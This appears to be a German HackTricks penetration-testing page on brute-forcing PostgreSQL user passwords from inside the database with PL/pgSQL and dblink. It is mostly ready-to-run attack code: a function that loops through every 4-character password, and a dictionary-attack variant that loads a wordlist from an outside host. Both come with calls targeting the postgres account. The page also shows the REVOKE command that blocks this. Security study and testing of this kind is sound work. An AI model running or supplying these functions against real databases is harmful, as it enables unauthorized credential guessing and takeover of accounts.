PL/pgSQL Passwort-Bruteforce

Reading time: 4 minutes

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Unterstützen Sie HackTricks

Finde weitere Informationen über diesen Angriff im Originalpapier.

PL/pgSQL ist eine vollständig ausgestattete Programmiersprache, die über die Möglichkeiten von SQL hinausgeht, indem sie erweiterte prozedurale Kontrolle bietet. Dazu gehört die Nutzung von Schleifen und verschiedenen Kontrollstrukturen. Funktionen, die in der PL/pgSQL-Sprache erstellt wurden, können durch SQL-Anweisungen und Trigger aufgerufen werden, was den Umfang der Operationen innerhalb der Datenbankumgebung erweitert.

Du kannst diese Sprache missbrauchen, um PostgreSQL zu bitten, die Benutzeranmeldeinformationen zu bruteforcen, aber sie muss in der Datenbank existieren. Du kannst ihre Existenz überprüfen, indem du:

sql
SELECT lanname,lanacl FROM pg_language WHERE lanname = 'plpgsql';
lanname | lanacl
---------+---------
plpgsql |

Standardmäßig ist das Erstellen von Funktionen ein Privileg, das PUBLIC gewährt wird, wobei PUBLIC sich auf jeden Benutzer in diesem Datenbanksystem bezieht. Um dies zu verhindern, hätte der Administrator das USAGE-Privileg aus dem PUBLIC-Bereich entziehen müssen:

sql
REVOKE ALL PRIVILEGES ON LANGUAGE plpgsql FROM PUBLIC;

In diesem Fall würde unsere vorherige Abfrage unterschiedliche Ergebnisse liefern:

sql
SELECT lanname,lanacl FROM pg_language WHERE lanname = 'plpgsql';
lanname | lanacl
---------+-----------------
plpgsql | {admin=U/admin}

Beachten Sie, dass für das folgende Skript die Funktion dblink existieren muss. Wenn sie nicht vorhanden ist, können Sie versuchen, sie mit

sql
CREATE EXTENSION dblink;

Passwort-Bruteforce

Hier ist, wie Sie einen Bruteforce-Angriff auf ein 4-Zeichen-Passwort durchführen könnten:

sql
//Create the brute-force function
CREATE OR REPLACE FUNCTION brute_force(host TEXT, port TEXT,
username TEXT, dbname TEXT) RETURNS TEXT AS
$$
DECLARE
word TEXT;
BEGIN
FOR a IN 65..122 LOOP
FOR b IN 65..122 LOOP
FOR c IN 65..122 LOOP
FOR d IN 65..122 LOOP
BEGIN
word := chr(a) || chr(b) || chr(c) || chr(d);
PERFORM(SELECT * FROM dblink(' host=' || host ||
' port=' || port ||
' dbname=' || dbname ||
' user=' || username ||
' password=' || word,
'SELECT 1')
RETURNS (i INT));
RETURN word;
EXCEPTION
WHEN sqlclient_unable_to_establish_sqlconnection
THEN
-- do nothing
END;
END LOOP;
END LOOP;
END LOOP;
END LOOP;
RETURN NULL;
END;
$$ LANGUAGE 'plpgsql';

//Call the function
select brute_force('127.0.0.1', '5432', 'postgres', 'postgres');

Beachten Sie, dass selbst das Brute-Forcen von 4 Zeichen mehrere Minuten dauern kann.

Sie könnten auch eine Wortliste herunterladen und nur diese Passwörter ausprobieren (Wörterbuchangriff):

sql
//Create the function
CREATE OR REPLACE FUNCTION brute_force(host TEXT, port TEXT,
username TEXT, dbname TEXT) RETURNS TEXT AS
$$
BEGIN
FOR word IN (SELECT word FROM dblink('host=1.2.3.4
user=name
password=qwerty
dbname=wordlists',
'SELECT word FROM wordlist')
RETURNS (word TEXT)) LOOP
BEGIN
PERFORM(SELECT * FROM dblink(' host=' || host ||
' port=' || port ||
' dbname=' || dbname ||
' user=' || username ||
' password=' || word,
'SELECT 1')
RETURNS (i INT));
RETURN word;

EXCEPTION
WHEN sqlclient_unable_to_establish_sqlconnection THEN
-- do nothing
END;
END LOOP;
RETURN NULL;
END;
$$ LANGUAGE 'plpgsql'

-- Call the function
select brute_force('127.0.0.1', '5432', 'postgres', 'postgres');

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Unterstützen Sie HackTricks